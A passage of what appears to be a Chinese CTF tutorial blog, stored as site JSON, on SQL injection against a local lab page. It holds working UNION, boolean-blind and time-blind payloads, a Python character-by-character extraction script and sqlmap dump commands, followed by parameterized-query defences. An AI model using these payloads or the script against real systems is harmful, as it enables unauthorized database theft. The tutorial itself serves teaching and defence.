1=2",[23,3605,3607],{"className":25,"code":3606,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[30,3608,3609],{"__ignoreMap":28},[33,3610,3611,3613,3615,3618],{"class":35,"line":36},[33,3612,3515],{"class":39},[33,3614,3518],{"class":412},[33,3616,3617],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[33,3619,3524],{"class":412},[16,3621,3622],{},"预期输出：空（条件假）。",[16,3624,3625,3628,3629,3632,3633,3636],{},[136,3626,3627],{},"判定","：单引号报错 + ",[30,3630,3631],{},"1=1"," 正常 + ",[30,3634,3635],{},"1=2"," 为空 → 注入点确认。",[11,3638,3640],{"id":3639},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[16,3642,3643,3645],{},[136,3644,138],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[16,3647,3648,3650],{},[136,3649,144],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[16,3652,3653,3654,3657],{},"前提：第一个查询返回空（用 ",[30,3655,3656],{},"id=-1","），UNION 两个查询列数相同。",[147,3659,3661],{"id":3660},"第-1-步确定列数","第 1 步：确定列数",[16,3663,3664,561,3666,3669],{},[136,3665,144],{},[30,3667,3668],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[23,3671,3673],{"className":25,"code":3672,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[30,3674,3675,3686,3697,3708],{"__ignoreMap":28},[33,3676,3677,3679,3681,3684],{"class":35,"line":36},[33,3678,3515],{"class":39},[33,3680,3518],{"class":412},[33,3682,3683],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[33,3685,3524],{"class":412},[33,3687,3688,3690,3692,3695],{"class":35,"line":47},[33,3689,3515],{"class":39},[33,3691,3518],{"class":412},[33,3693,3694],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[33,3696,3524],{"class":412},[33,3698,3699,3701,3703,3706],{"class":35,"line":70},[33,3700,3515],{"class":39},[33,3702,3518],{"class":412},[33,3704,3705],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[33,3707,3524],{"class":412},[33,3709,3710,3712,3714,3717],{"class":35,"line":80},[33,3711,3515],{"class":39},[33,3713,3518],{"class":412},[33,3715,3716],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[33,3718,3524],{"class":412},[16,3720,3721],{},"前三条正常，第四条报错 → 共 3 列。",[147,3723,3725],{"id":3724},"第-2-步确认回显位","第 2 步：确认回显位",[16,3727,3728,561,3730,3733],{},[136,3729,144],{},[30,3731,3732],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[23,3735,3737],{"className":25,"code":3736,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[30,3738,3739],{"__ignoreMap":28},[33,3740,3741,3743,3745,3748],{"class":35,"line":36},[33,3742,3515],{"class":39},[33,3744,3518],{"class":412},[33,3746,3747],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[33,3749,3524],{"class":412},[16,3751,169,3752,3755],{},[30,3753,3754],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[147,3757,3759],{"id":3758},"第-3-步查数据库名","第 3 步：查数据库名",[23,3761,3763],{"className":25,"code":3762,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[30,3764,3765],{"__ignoreMap":28},[33,3766,3767,3769,3771,3774],{"class":35,"line":36},[33,3768,3515],{"class":39},[33,3770,3518],{"class":412},[33,3772,3773],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[33,3775,3524],{"class":412},[16,3777,169,3778,301],{},[30,3779,1370],{},[147,3781,3783],{"id":3782},"第-4-步查表名","第 4 步：查表名",[23,3785,3787],{"className":25,"code":3786,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[30,3788,3789],{"__ignoreMap":28},[33,3790,3791,3793,3795,3798],{"class":35,"line":36},[33,3792,3515],{"class":39},[33,3794,3518],{"class":412},[33,3796,3797],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[33,3799,3524],{"class":412},[16,3801,169,3802,301],{},[30,3803,3804],{},"articles,flag,users",[147,3806,3808],{"id":3807},"第-5-步查列名","第 5 步：查列名",[23,3810,3812],{"className":25,"code":3811,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[30,3813,3814],{"__ignoreMap":28},[33,3815,3816,3818,3820,3823],{"class":35,"line":36},[33,3817,3515],{"class":39},[33,3819,3518],{"class":412},[33,3821,3822],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[33,3824,3524],{"class":412},[16,3826,169,3827,301],{},[30,3828,2306],{},[16,3830,3831,3834,3835,3837,3838,3840,3841,3843],{},[136,3832,3833],{},"说明","：如果第 4 步看到多个表，比如 ",[30,3836,3804],{},"，优先怀疑 ",[30,3839,2306],{}," 表；列名可能不是 ",[30,3842,2306],{},"，需要本步用 information_schema.columns 确认。",[147,3845,3847],{"id":3846},"第-6-步拿数据","第 6 步：拿数据",[23,3849,3851],{"className":25,"code":3850,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[30,3852,3853],{"__ignoreMap":28},[33,3854,3855,3857,3859,3862],{"class":35,"line":36},[33,3856,3515],{"class":39},[33,3858,3518],{"class":412},[33,3860,3861],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[33,3863,3524],{"class":412},[16,3865,169,3866,301],{},[30,3867,3868],{},"flag{sql_injection}",[16,3870,3871,3874],{},[136,3872,3873],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[11,3876,3878],{"id":3877},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[16,3880,3881,3883],{},[136,3882,138],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[16,3885,3886],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[147,3888,3890],{"id":3889},"_51-布尔盲注","5.1 布尔盲注",[23,3892,3894],{"className":25,"code":3893,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[30,3895,3896],{"__ignoreMap":28},[33,3897,3898,3900,3902,3905],{"class":35,"line":36},[33,3899,3515],{"class":39},[33,3901,3518],{"class":412},[33,3903,3904],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[33,3906,3524],{"class":412},[16,3908,3909,3910,301],{},"正常 → 库名第一个字符是 ",[30,3911,818],{},[23,3913,3915],{"className":25,"code":3914,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[30,3916,3917],{"__ignoreMap":28},[33,3918,3919,3921,3923,3926],{"class":35,"line":36},[33,3920,3515],{"class":39},[33,3922,3518],{"class":412},[33,3924,3925],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[33,3927,3524],{"class":412},[16,3929,3930,3931,301],{},"为空 → 不是 ",[30,3932,2500],{},[16,3934,3935],{},"自动化脚本：",[16,3937,3938,3940,3941,3944],{},[136,3939,144],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[30,3942,3943],{},"hello","）就说明猜对，把字符记下再问下一位。",[23,3946,3948],{"className":1238,"code":3947,"language":1240,"meta":28,"style":28},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\" # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n found = False\n for ch in string.printable:\n payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n r = requests.get(url, params={\"id\": payload})\n # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n # r.text：响应正文。\n if \"hello\" in r.text:\n # 条件为真时页面正常，包含特征字符串 \"hello\"。\n result += ch\n print(result)\n found = True\n break\n if not found or result.endswith('}'):\n # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n break\nprint(\"flag:\", result)\n",[30,3949,3950,3955,3960,3964,3969,3974,3978,3983,3988,3993,3998,4003,4008,4013,4018,4023,4028,4033,4038,4043,4048,4053,4058,4063,4068,4074,4079],{"__ignoreMap":28},[33,3951,3952],{"class":35,"line":36},[33,3953,3954],{},"import requests, string\n",[33,3956,3957],{"class":35,"line":47},[33,3958,3959],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[33,3961,3962],{"class":35,"line":70},[33,3963,1460],{"emptyLinePlaceholder":1373},[33,3965,3966],{"class":35,"line":80},[33,3967,3968],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[33,3970,3971],{"class":35,"line":452},[33,3972,3973],{},"result = \"\" # 保存已确认的 flag 片段\n",[33,3975,3976],{"class":35,"line":458},[33,3977,1460],{"emptyLinePlaceholder":1373},[33,3979,3980],{"class":35,"line":464},[33,3981,3982],{},"for pos in range(1, 50):\n",[33,3984,3985],{"class":35,"line":470},[33,3986,3987],{}," # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[33,3989,3990],{"class":35,"line":476},[33,3991,3992],{}," found = False\n",[33,3994,3995],{"class":35,"line":482},[33,3996,3997],{}," for ch in string.printable:\n",[33,3999,4000],{"class":35,"line":1295},[33,4001,4002],{}," payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[33,4004,4005],{"class":35,"line":1301},[33,4006,4007],{}," # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[33,4009,4010],{"class":35,"line":1505},[33,4011,4012],{}," # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[33,4014,4015],{"class":35,"line":1511},[33,4016,4017],{}," # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[33,4019,4020],{"class":35,"line":1517},[33,4021,4022],{}," r = requests.get(url, params={\"id\": payload})\n",[33,4024,4025],{"class":35,"line":1523},[33,4026,4027],{}," # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[33,4029,4030],{"class":35,"line":1529},[33,4031,4032],{}," # r.text：响应正文。\n",[33,4034,4035],{"class":35,"line":1535},[33,4036,4037],{}," if \"hello\" in r.text:\n",[33,4039,4040],{"class":35,"line":1541},[33,4041,4042],{}," # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[33,4044,4045],{"class":35,"line":2981},[33,4046,4047],{}," result += ch\n",[33,4049,4050],{"class":35,"line":2987},[33,4051,4052],{}," print(result)\n",[33,4054,4055],{"class":35,"line":2993},[33,4056,4057],{}," found = True\n",[33,4059,4060],{"class":35,"line":2999},[33,4061,4062],{}," break\n",[33,4064,4065],{"class":35,"line":3005},[33,4066,4067],{}," if not found or result.endswith('}'):\n",[33,4069,4071],{"class":35,"line":4070},25,[33,4072,4073],{}," # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[33,4075,4077],{"class":35,"line":4076},26,[33,4078,2672],{},[33,4080,4082],{"class":35,"line":4081},27,[33,4083,4084],{},"print(\"flag:\", result)\n",[16,4086,4087],{},"运行过程输出（节选）：",[23,4089,4092],{"className":4090,"code":4091,"language":175,"meta":28},[173],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[30,4093,4091],{"__ignoreMap":28},[147,4095,4097],{"id":4096},"_52-时间盲注","5.2 时间盲注",[16,4099,4100,4101,4104],{},"页面连\"正常/异常\"都无法区分时，用 ",[30,4102,4103],{},"SLEEP"," 制造时间差：",[23,4106,4108],{"className":25,"code":4107,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[30,4109,4110],{"__ignoreMap":28},[33,4111,4112,4114,4116,4119],{"class":35,"line":36},[33,4113,3515],{"class":39},[33,4115,3518],{"class":412},[33,4117,4118],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[33,4120,3524],{"class":412},[16,4122,4123],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[11,4125,4127],{"id":4126},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[16,4129,4130,4132],{},[136,4131,138],{},"：手工确认后，用工具批量完成拖库，效率更高。",[147,4134,4136],{"id":4135},"命令-1检测","命令 1：检测",[16,4138,4139,4141],{},[136,4140,144],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[23,4143,4145],{"className":25,"code":4144,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[30,4146,4147],{"__ignoreMap":28},[33,4148,4149,4152,4155,4157,4159,4162],{"class":35,"line":36},[33,4150,4151],{"class":39},"sqlmap",[33,4153,4154],{"class":241}," -u",[33,4156,3518],{"class":412},[33,4158,3521],{"class":43},[33,4160,4161],{"class":412},"\"",[33,4163,4164],{"class":241}," --batch\n",[16,4166,422],{},[23,4168,4171],{"className":4169,"code":4170,"language":175,"meta":28},[173],"Parameter: id (GET)\n Type: boolean-based blind\n Type: UNION query\n",[30,4172,4170],{"__ignoreMap":28},[147,4174,4176],{"id":4175},"命令-2列库","命令 2：列库",[23,4178,4180],{"className":25,"code":4179,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[30,4181,4182],{"__ignoreMap":28},[33,4183,4184,4186,4188,4190,4192,4194],{"class":35,"line":36},[33,4185,4151],{"class":39},[33,4187,4154],{"class":241},[33,4189,3518],{"class":412},[33,4191,3521],{"class":43},[33,4193,4161],{"class":412},[33,4195,4196],{"class":241}," --dbs\n",[16,4198,4199,4200,301],{},"预期输出：数据库列表，含 ",[30,4201,1370],{},[147,4203,4205],{"id":4204},"命令-3导出数据","命令 3：导出数据",[23,4207,4209],{"className":25,"code":4208,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[30,4210,4211],{"__ignoreMap":28},[33,4212,4213,4215,4217,4219,4221,4223,4226,4229,4232,4235],{"class":35,"line":36},[33,4214,4151],{"class":39},[33,4216,4154],{"class":241},[33,4218,3518],{"class":412},[33,4220,3521],{"class":43},[33,4222,4161],{"class":412},[33,4224,4225],{"class":241}," -D",[33,4227,4228],{"class":43}," ctf",[33,4230,4231],{"class":241}," -T",[33,4233,4234],{"class":43}," flag",[33,4236,4237],{"class":241}," --dump\n",[16,4239,169,4240,4242,4243,301],{},[30,4241,2306],{}," 表内容 ",[30,4244,3868],{},[11,4246,4248],{"id":4247},"七核心步骤-5防御","七、核心步骤 5：防御",[23,4250,4252],{"className":3282,"code":4251,"language":3284,"meta":28,"style":28},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[30,4253,4254,4259,4264,4269,4273,4278,4283,4288],{"__ignoreMap":28},[33,4255,4256],{"class":35,"line":36},[33,4257,4258],{},"// PDO 参数化\n",[33,4260,4261],{"class":35,"line":47},[33,4262,4263],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[33,4265,4266],{"class":35,"line":70},[33,4267,4268],{},"$stmt->execute([$_GET['id']]);\n",[33,4270,4271],{"class":35,"line":80},[33,4272,1460],{"emptyLinePlaceholder":1373},[33,4274,4275],{"class":35,"line":452},[33,4276,4277],{},"// mysqli 参数化\n",[33,4279,4280],{"class":35,"line":458},[33,4281,4282],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[33,4284,4285],{"class":35,"line":464},[33,4286,4287],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[33,4289,4290],{"class":35,"line":470},[33,4291,4292],{},"$stmt->execute();\n",[23,4294,4296],{"className":1238,"code":4295,"language":1240,"meta":28,"style":28},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[30,4297,4298],{"__ignoreMap":28},[33,4299,4300],{"class":35,"line":36},[33,4301,4295],{},[16,4303,4304,4305,4308],{},"参数化后，输入 ",[30,4306,4307],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[11,4310,4312],{"id":4311},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[16,4314,4315,4317],{},[136,4316,138],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[16,4319,4320,4321,561],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[30,4322,4323],{},"sim.py",[23,4325,4327],{"className":1238,"code":4326,"language":1240,"meta":28,"style":28},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n cur = conn.cursor()\n # cursor()：创建游标对象，用于执行 SQL。\n try:\n cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n return str(cur.fetchall())\n # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n except Exception as e:\n # 语法错误等异常会走到这里，模拟\"页面报错\"。\n return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[30,4328,4329,4334,4339,4343,4348,4353,4358,4363,4367,4372,4376,4381,4386,4390,4395,4400,4405,4410,4415,4420,4425,4430,4435,4440,4445,4450,4454,4459,4465,4471,4477,4483,4489,4495],{"__ignoreMap":28},[33,4330,4331],{"class":35,"line":36},[33,4332,4333],{},"import sqlite3\n",[33,4335,4336],{"class":35,"line":47},[33,4337,4338],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[33,4340,4341],{"class":35,"line":70},[33,4342,1460],{"emptyLinePlaceholder":1373},[33,4344,4345],{"class":35,"line":80},[33,4346,4347],{},"conn = sqlite3.connect(':memory:')\n",[33,4349,4350],{"class":35,"line":452},[33,4351,4352],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[33,4354,4355],{"class":35,"line":458},[33,4356,4357],{},"conn.executescript('''\n",[33,4359,4360],{"class":35,"line":464},[33,4361,4362],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[33,4364,4365],{"class":35,"line":470},[33,4366,3403],{},[33,4368,4369],{"class":35,"line":476},[33,4370,4371],{},"CREATE TABLE flag (flag TEXT);\n",[33,4373,4374],{"class":35,"line":482},[33,4375,3413],{},[33,4377,4378],{"class":35,"line":1295},[33,4379,4380],{},"''')\n",[33,4382,4383],{"class":35,"line":1301},[33,4384,4385],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[33,4387,4388],{"class":35,"line":1505},[33,4389,1460],{"emptyLinePlaceholder":1373},[33,4391,4392],{"class":35,"line":1511},[33,4393,4394],{},"def query(id_):\n",[33,4396,4397],{"class":35,"line":1517},[33,4398,4399],{}," # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[33,4401,4402],{"class":35,"line":1523},[33,4403,4404],{}," cur = conn.cursor()\n",[33,4406,4407],{"class":35,"line":1529},[33,4408,4409],{}," # cursor()：创建游标对象，用于执行 SQL。\n",[33,4411,4412],{"class":35,"line":1535},[33,4413,4414],{}," try:\n",[33,4416,4417],{"class":35,"line":1541},[33,4418,4419],{}," cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[33,4421,4422],{"class":35,"line":2981},[33,4423,4424],{}," # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[33,4426,4427],{"class":35,"line":2987},[33,4428,4429],{}," return str(cur.fetchall())\n",[33,4431,4432],{"class":35,"line":2993},[33,4433,4434],{}," # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[33,4436,4437],{"class":35,"line":2999},[33,4438,4439],{}," except Exception as e:\n",[33,4441,4442],{"class":35,"line":3005},[33,4443,4444],{}," # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[33,4446,4447],{"class":35,"line":4070},[33,4448,4449],{}," return \"ERROR: \" + str(e)\n",[33,4451,4452],{"class":35,"line":4076},[33,4453,1460],{"emptyLinePlaceholder":1373},[33,4455,4456],{"class":35,"line":4081},[33,4457,4458],{},"print(query(\"1\"))\n",[33,4460,4462],{"class":35,"line":4461},28,[33,4463,4464],{},"print(query(\"1'\"))\n",[33,4466,4468],{"class":35,"line":4467},29,[33,4469,4470],{},"print(query(\"1 AND 1=1\"))\n",[33,4472,4474],{"class":35,"line":4473},30,[33,4475,4476],{},"print(query(\"1 AND 1=2\"))\n",[33,4478,4480],{"class":35,"line":4479},31,[33,4481,4482],{},"print(query(\"1 ORDER BY 3\"))\n",[33,4484,4486],{"class":35,"line":4485},32,[33,4487,4488],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[33,4490,4492],{"class":35,"line":4491},33,[33,4493,4494],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[33,4496,4498],{"class":35,"line":4497},34,[33,4499,4500],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[16,4502,4503],{},"运行：",[23,4505,4507],{"className":25,"code":4506,"language":27,"meta":28,"style":28},"python3 sim.py\n",[30,4508,4509],{"__ignoreMap":28},[33,4510,4511,4513],{"class":35,"line":36},[33,4512,2131],{"class":39},[33,4514,4515],{"class":43}," sim.py\n",[16,4517,2432],{},[23,4519,4522],{"className":4520,"code":4521,"language":175,"meta":28},[173],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[30,4523,4521],{"__ignoreMap":28},[16,4525,4526],{},"逐行对应：",[490,4528,4529,4542],{},[493,4530,4531],{},[496,4532,4533,4536,4539],{},[499,4534,4535],{},"输入",[499,4537,4538],{},"输出",[499,4540,4541],{},"结论",[506,4543,4544,4557,4570,4582,4595,4608,4623,4636],{},[496,4545,4546,4551,4554],{},[511,4547,4548],{},[30,4549,4550],{},"1",[511,4552,4553],{},"正常记录",[511,4555,4556],{},"基线",[496,4558,4559,4564,4567],{},[511,4560,4561],{},[30,4562,4563],{},"1'",[511,4565,4566],{},"语法错误",[511,4568,4569],{},"注入点存在",[496,4571,4572,4577,4579],{},[511,4573,4574],{},[30,4575,4576],{},"1 AND 1=1",[511,4578,4553],{},[511,4580,4581],{},"条件真",[496,4583,4584,4589,4592],{},[511,4585,4586],{},[30,4587,4588],{},"1 AND 1=2",[511,4590,4591],{},"空",[511,4593,4594],{},"条件假",[496,4596,4597,4602,4605],{},[511,4598,4599],{},[30,4600,4601],{},"1 ORDER BY 3",[511,4603,4604],{},"正常",[511,4606,4607],{},"至少 3 列",[496,4609,4610,4615,4620],{},[511,4611,4612],{},[30,4613,4614],{},"-1 UNION SELECT 1,2,3",[511,4616,4617],{},[30,4618,4619],{},"(1, 2, 3)",[511,4621,4622],{},"3 列且回显",[496,4624,4625,4628,4633],{},[511,4626,4627],{},"查 sqlite_master",[511,4629,4630],{},[30,4631,4632],{},"articles,flag",[511,4634,4635],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[496,4637,4638,4641,4645],{},[511,4639,4640],{},"查 flag 表",[511,4642,4643],{},[30,4644,3868],{},[511,4646,4647],{},"拿到 flag",[11,4649,4651],{"id":4650},"九小结","九、小结",[16,4653,4654,4655,4658],{},"SQL 注入主线：",[136,4656,4657],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1350,4660,4661],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":28,"searchDepth":47,"depth":47,"links":4663},[4664,4665,4666,4667,4668,4669,4670,4671,4672],{"id":3275,"depth":70,"text":3276},{"id":3327,"depth":70,"text":3328},{"id":3481,"depth":70,"text":3482},{"id":3639,"depth":70,"text":3640},{"id":3877,"depth":70,"text":3878},{"id":4126,"depth":70,"text":4127},{"id":4247,"depth":70,"text":4248},{"id":4311,"depth":70,"text":4312},{"id":4650,"depth":70,"text":4651},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1366,"image":4675,"alt":4676,"tags":4677,"published":1373},"/blogs-img/blog5.png","SQL 注入深入实战",[1370,4678,4679,1372],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":3270,"description":4673},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":4685,"title":4686,"body":4687,"description":5733,"extension":1364,"meta":5734,"navigation":1373,"ogImage":5735,"path":5739,"seo":5740,"stem":5741,"__hash__":5742},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":8,"value":4688,"toc":5723},[4689,4693,4696,4739,4750,4753,4762,4768,4772,4786,4791,4844,4846,4858,4862,4867,4880,4884,4900,4902,4924,4928,4944,4946,4964,4974,4978,5045,5049,5054,5087,5096,5100,5106,5110,5116,5119,5135,5137,5155,5158,5174,5176,5194,5207,5215,5226,5233,5239,5242,5320,5326,5329,5335,5339,5351,5360,5372,5376,5382,5386,5392,5401,5403,5407,5453,5457,5500,5506,5510,5513,5582,5586,5595,5599,5604,5619,5625,5629,5644,5673,5676,5682,5686,5694,5697,5703,5705,5720],[11,4690,4692],{"id":4691},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[16,4694,4695],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 